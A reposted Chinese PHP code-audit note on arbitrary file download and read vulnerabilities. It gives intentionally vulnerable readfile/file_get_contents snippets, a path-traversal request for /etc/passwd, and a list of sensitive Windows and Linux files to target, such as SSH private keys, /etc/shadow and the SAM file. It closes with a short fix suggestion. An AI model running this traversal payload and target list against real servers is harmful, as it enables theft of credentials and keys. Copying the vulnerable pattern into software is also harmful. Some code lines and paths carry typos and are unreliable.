PHP代碼審計筆記--任意文件下載漏洞


 

在文件下載操作中,文件名及路徑由客戶端傳入的參數控制,並且未進行有效的過濾,導致用戶可惡意下載任意文件。

 

 

 0x01 客戶端下載

常見於系統中存在文件(附件/文檔等資源)下載的地方。

漏洞示例代碼:

1.    <?php  
2.        $filename = $_GET['filename'];  
3.        echo file_get_contents($filename);  
4.        header('Content-Type: imgage/jpeg');  
5.        header('Content-Disposition: attachment; filename='.$filename);  
6.        header('Content-Lengh: '.filesize($filename));  
7.    ?>  

文件名用戶可控,導致存在任意文件下載漏洞,攻擊者提交url:

  1. test.php?filename=test.php  

即可下載test.php源碼,可實現跨目錄下載系統中的任意文件。

 

 

 0x02 服務端下載

常見於系統第三方補丁升級/插件安裝、遠程圖片本地化。

 

 

 

 

任意文件讀取

漏洞示例代碼:

<?php
    $filename = $_GET['filename'];
    readfile($filename);
?>

可以看到參數並未進行任何過濾或處理,直接導入readfile函數中執行,導致程序在實現上存在任意文件讀取漏洞。

 

相對路徑  物理路徑  fuzz

Windows:
   C:\boot.ini  //查看系統版本
   C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
   C:\Windows\repair\sam  //存儲系統初次安裝的密碼
   C:\Program Files\mysql\my.ini  //Mysql配置
   C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
   C:\Windows\php.ini  //php配置信息
   C:\Windows\my.ini  //Mysql配置信息
   ...
Linux:
   /root/.ssh/authorized_keys   
   /root/.ssh/id_rsa  
   /root/.ssh/id_ras.keystore
   /root/.ssh/known_hosts
   /etc/passwd             查看用戶文件文件
   /etc/shadow             查看密碼文件
   /etc/my.cnf 
   /etc/httpd/conf/httpd.conf   查看apache的配置文件
   /root/.bash_history          查看歷史命令
   /root/.mysql_history
   /proc/self/fd/fd[0-9]*(文件標識符)
   /proc/mounts
   /porc/config.gz
 
index.php?f=../../../../../../etc/passwd

  1. /root/.ssh/authorized_keys

  2. /root/.ssh/id_rsa

  3. /root/.ssh/id_ras.keystore

  4. /root/.ssh/known_hosts //記錄每個訪問計算機用戶的公鑰

  5. /etc/passwd

  6. /etc/shadow

  7. /etc/my.cnf //mysql配置文件

  8. /etc/httpd/conf/httpd.conf //apache配置文件

  9. /root/.bash_history //用戶歷史命令記錄文件

  10. /root/.mysql_history //mysql歷史命令記錄文件

  11. /proc/mounts //記錄系統掛載設備

  12. /porc/config.gz //內核配置文件

  13. /var/lib/mlocate/mlocate.db //全文件路徑

  14. /porc/self/cmdline //當前進程的cmdline參數

 
        

 

修復建議:要下載的文件地址保存至數據庫中。文件路徑保存至數據庫,讓用戶提交文件對應ID下載文件。

 

參考鏈接:https://wenku.baidu.com/view/4f8e19e0b1717fd5360cba1aa8114431b90d8ee0.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM